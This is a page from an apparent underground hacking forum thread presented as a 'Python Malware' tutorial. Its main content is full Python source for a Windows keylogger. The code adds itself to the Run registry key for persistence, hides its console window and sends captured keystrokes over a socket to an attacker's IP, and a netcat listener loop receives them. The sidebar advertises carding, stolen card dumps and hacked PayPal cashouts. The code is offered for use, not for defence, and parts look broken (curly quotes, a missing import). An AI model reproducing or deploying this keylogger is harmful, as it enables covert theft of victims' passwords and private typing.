For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp

Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[Tutorial] 0xC Python Tutorial: Python Malware
#11
if cd command in terminal / cmd does not work, you guys can make a new function similar to cmd
def cmd_cd(path):
.... os.chdir(path)
Reply
For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp
#12
Thanks for [Tutorial] 0xC Python Tutorial: Python Malware
Reply
#13
lets trylets trylets trylets try
Blackhat
Reply
#14
Thanks for sharing this content.
Reply
#15
#!/usr/bin/python

##PyHook and Pythoncom are responsible for getting keystrokes

import pyHook, pythoncom

##socket will be used for channel creation between victim and the attacker

import socket

##the next modules are used for windows functions like editing registry keys and hide cmd function

import win32event, win32api, winerror,win32console,win32gui

from _winreg import *

def AddProgramToStartup(): ##Function Definition

##in python __file__ is an instant of the file path where it was executed so if the user excuted the file from the desktop t __file__ would be c:\users\username\desktop

fp=os.path.dirname(os.path.realpath(__file__))

##next appending the filename “malware.py”

file_name=”maleware.py”

new_file_path=fp+”\\”+file_name



##KeyVal is a raw string variable containing registry key name.

##python raw strings used in case we have / in our strings

keyVal= r’Software\Microsoft\Windows\CurrentVersion\Run’

##The next couple of codes is adding an entry in the registry key which will make our code run each time user logs in.

key2change= OpenKey(HKEY_CURRENT_USER,keyVal,0,KEY_ALL_ACCESS)

SetValueEx(key2change, “HacKeD”,0,REG_SZ, new_file_path)

##Creating and initializing variable called data which will hold the keystrokes and HOST_IP which is the attacker’s IP

data=”

HOST_IP=”192.168.4.78″

def SendToRemoteServer(): ##Function Definition

global data ##Global variable which is the data to be sent

#Create a TCP socket and connect to the attacker machine on Port 500 ,These lines of code I believe most of python users aware of.

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((HOST_IP, 500))

sock.send(data)

sock.close()

return True

def HideCmd(): ##Function Definition.

window = win32console.GetConsoleWindow() ##Get a CMD

win32gui.ShowWindow(window,0) ##Hide the CMD Shell(Putting the value 0)

return True

def GetKeyPressedAndSendIt(event): ##Function Definition

global data ##Global variable data which will hold key strokes

##The next peace of the IF Statements are responsible for changing the ASCI value of the letters to characters.

if event.Ascii==13:

keys='<ENTER>’

elif event.Ascii==8:

keys='<BACK SPACE>’

elif event.Ascii==9:

keys='<TAB>’

else:

keys=chr(event.Ascii) ##if any letter is pressed get the character value of it’s Asci.



data=data+keys ##Put the key into the buffer

HideCmd() ##Hide The CMD

SendToRemoteServer() ##Send the Key logs to the remote server

##Now after defining all the functions it’s time for the main function which will be executed upon double clicking on the file.

##First it will call the AddProgramToStartUp () Function.

AddProgramToStartup()

##Next the part is to get key strokes from the keyboard, This can be easily done done using pyhook and pythoncomp

##The below link explains how to get mouse events and keyboard events using python(PyHook and Pythoncom Modules)

###############http://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/##################

hm = pyHook.HookManager()

##Call the function GetKeyPresseedAndSendIt()

hm.KeyDown = GetKeyPressedAndSendIt()

hm.HookKeyboard()

pythoncom.PumpMessages()



It is mandatory to have a listener which should be implemented at the attacker machine on port 500 to receive the key logs, and this can be easily implemented using the bash.
#!/usr/bin/bash

while true

do

nc -nlp 500 ##open a permanent listener on port 500 using nc

done
Reply
 


Possibly Related Threads...
Thread Author Replies Views Last Post
Hot [How To] Hacking Project,Hacking Tutorial, Hacking service !! Max gary 0 71 01-07-2019, 03:16 PM
Last Post: Max gary
Star Tutorial+Program]iCloud Removal/Bypass Include WEB,PC HACKING,MOBILE HACKING teran 0 164 12-10-2018, 03:08 PM
Last Post: teran
Thumbs Up [Selling] Carding tutorial-Hacked paypal cashout-ORDER IPHONE,GAMES,LAPTOPS grayhathck 0 197 11-21-2018, 05:16 PM
Last Post: grayhathck
Star [Selling] Sell Dumps Track 1/2 With Pin(101,201),Bank,WU,Paypal Transfer.tutorial on cc,paypal grayhathck 0 202 11-13-2018, 07:52 PM
Last Post: grayhathck
Star [How To] Hacking Project,Hacking Tutorial, Hacking service !! Max gary 0 201 10-22-2018, 12:02 PM
Last Post: Max gary
Hot Hacking Project,Hacking Tutorial, Hacking service !! Max gary 0 536 07-18-2018, 05:10 PM
Last Post: Max gary
  Auto-visit and custom click in python Canelrs 0 1,438 06-08-2017, 12:28 PM
Last Post: Canelrs
  script python caesarnur 1 2,719 12-28-2016, 08:33 AM
Last Post: nigger
  J00mla simplephotogallery component, automated sql injection script in python Codefire 0 2,489 04-16-2015, 09:26 PM
Last Post: Codefire

Forum Jump:


Users browsing this thread: 1 Guest(s)
For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp

About Offensive Community

Offensive Community is a world best underground hacking forum that provides tutorials, latest hacking techniques, free tools and a great online teaching to our members. Join the forum Now.

Feel free to join our community.